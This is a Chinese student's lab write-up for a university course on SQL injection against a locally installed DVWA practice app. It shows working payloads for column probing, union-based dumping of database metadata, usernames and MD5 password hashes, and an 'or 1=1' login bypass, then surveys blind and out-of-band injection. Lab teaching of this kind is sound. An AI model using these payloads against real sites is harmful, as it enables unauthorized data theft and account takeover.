《Linux内核原理与分析》第十一周作业
这个作业属于哪个课程 | <2020-2021-1Linux内核原理与分析)> |
---|---|
这个作业要求在哪里 | <2020-2021-1Linux内核原理与分析第十一周作业> |
这个作业的目标 | <通过执行 SQL 语句进而执行攻击> |
作业正文 | https://www.cnblogs.com/camusxd/p/14147160.html |
实验:SQL 注入攻击
一、实验原理
-
SQL 注入攻击是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中,再在后台 SQL 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一。
-
SQL注入的本质:把用户输入的数据当作代码执行。
-
SQL 注入产生原因及威胁:
访问动态网页时, Web 服务器会向数据访问层发起 SQL 查询请求,如果权限验证通过就会执行 SQL 语句。这种网站内部直接发送的 SQL 请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 SQL 语句,如果用户输入的数据被构造成恶意 SQL 代码,Web 应用又未对动态构造的 SQL 语句使用的参数进行审查,则会带来意想不到的危险。 -
SQL 注入带来的威胁主要有如下几点:猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。绕过认证,列如绕过验证登录网站后台。注入可以借助数据库的存储过程进行提权等操作。
二、实验过程
1、下载并解压 dvwa 安装文件,然后复制到指定目录中:
cd /home/shiyanlou
wget https://labfile.oss.aliyuncs.com/courses/876/dvwasql.tar.gz
tar -zxvf dvwasql.tar.gz
sudo mv dvwasql /var/www/html
sudo chmod -R 777 /var/www/html
sudo service apache2 restart
2、修改环境中数据库的配置
编辑文件 /etc/mysql/my.cnf
将 collation-server=utf8_unicode_ci 修改为 collation-server=utf8_general_ci,否则后续查询会出问题。
强制保存退出只读文件
w !sudo tee %
然后重启数据库:
sudo service mysql start
3、打开 Firefox 浏览器,输入网址 : localhost/dvwasql, 点击create/Reset Database创建数据库:
进入登录界面,默认用户名为 admin 密码为 password。
将 Security 级别调整为 low
4、先输入 1 ,查看回显 (URL 中 ID=1,说明 php 页面通过 get 方法传递参数):
点击 view source 查看源代码:
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';
可以看出我们是通过控制参数 ID 的值来返回我们需要的信息。
输入 1' order by 3# 时,返回错误:
由此可知,users 表中只有两个字段,数据为两列。
5、使用 union select 联合查询继续获取信息。
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。
输入
1' union select database(),user()#
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名
实际执行的 SQL 语句是 :
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;
通过上图返回信息,我们成功获取到:当前网站使用数据库为 dvwa。当前执行查询用户名为 root@localhost
6、输入 1' union select version(),@@version_compile_os#进行查询:
version() 获取当前数据库版本。@@version_compile_os 获取当前操作系统。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;
通过上图返回信息,我们又成功获取到:当前数据库版本为 : 10.4.17-MariaDB-1:10.4.17+maria~xenial。当前操作系统为 : debian-linux-gnu
7、输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回信息,我们再获取到:dvwa 数据库有两个数据表,分别是 guestbook 和 users
8、输入:1' union select user,password from users#进行查询。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到www.cmd5.com进行解密。
9、 SQL 漏洞绕过登录验证的实验。
如下图所示,解压运行刚才下载的第二个文件:
wget https://labfile.oss.aliyuncs.com/courses/876/sql2.tar.gz
tar -zxvf sql2.tar.gz
sudo mv sql2 /var/www/html
sudo chmod -R 777 /var/www/html/sql2
进入 Firefox 浏览器,输入网址 : localhost/sql2 , 按照下图所示顺序,初始化数据:
查询到数据表中存在同时满足 username 和 password 字段时,会返回登录成功。
按照第一个实验的思路,我们尝试在用户名中输入 123' or 1=1 #, 密码同样输入 123' or 1=1 # :
实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'
由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录。
三、实验总结
1、判断 SQL 注入漏洞的类型
通常 SQL 注入漏洞分为 2 种类型:
- 数字型
- 字符型
2、数字型
数字型判断
当输入的参数 x 为整型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = x
这种类型可以使用经典的 and 1=1 和 and 1=2 来判断.
3、字符型
当输入的参数 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:
select * from <表名> where id = 'x'
这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断。
4、SQL 注入常用技术有段还包括:
- 采用非主流通道技术
- 避开输入过滤技术
- 使用特殊的字符
- 强制产生错误
- 使用条件语句
- 利用存储过程
- 推断技术等
5、SQL注入主要分为三类,带内注入、推测注入、带外注入
(1)、带内(In-band)SQLi,也叫经典SQLi
顾名思义,带内的意思就是攻击者可以在同一个信道里进行攻击,并且拿到结果。
最常见的两种带内SQLi 就是基于报错(Error-based)的SQLi,和基于联合查询语句(Union-based)的SQLi。
基于报错(Error-based)的SQLi
比如mysql中的mysql_error()函数。这种功能本来是为了给开发用来调试代码找问题的。而攻击者可以利用程序中的报错,拿到SQLi的结果。
基于联合查询语句(Union-based)的SQLi
利用SQL语句中的UNION操作符拼接两个或更多的SELECT语句,得到一个结果,然后作为HTTP响应返回来的攻击方式。
(2)、推测SQL注入(盲注)
这种SQLi,跟带内SQLi 相比,可能要花费更长的时间了。这种攻击方式下,攻击者并不能在带内看到SQLi成功的数据结果,但是他可以通过构造大量的SQL语句,通过观察返回的响应来推测数据库中的数据。
盲注分两种:布尔(Boolean-based)盲注,和时间(Time-based)盲注。布尔盲注是攻击者通过发起不同请求观察响应内容的相同与否,判断某条SQL判断的结果是TRUE还是FALSE,来间接地猜测数据库中的数据。时间盲注就是攻击者通过注入延时语句(比如sleep )强制数据库延时一种长的时间,用于判断某条判断语句是TRUE还是FALSE,从而间接地猜测数据库中的数据。
(3)、带外SQLi
依赖于具体的DBMS上是否开启某些发起HTTP/DNS请求的功能。比如SQL Server的xp_dirtree命令,可以用来向攻击者可控的域名发起DNS请求,实现带外注入;比如Oracle数据库的UTL_HTTP包,可以发起HTTP请求。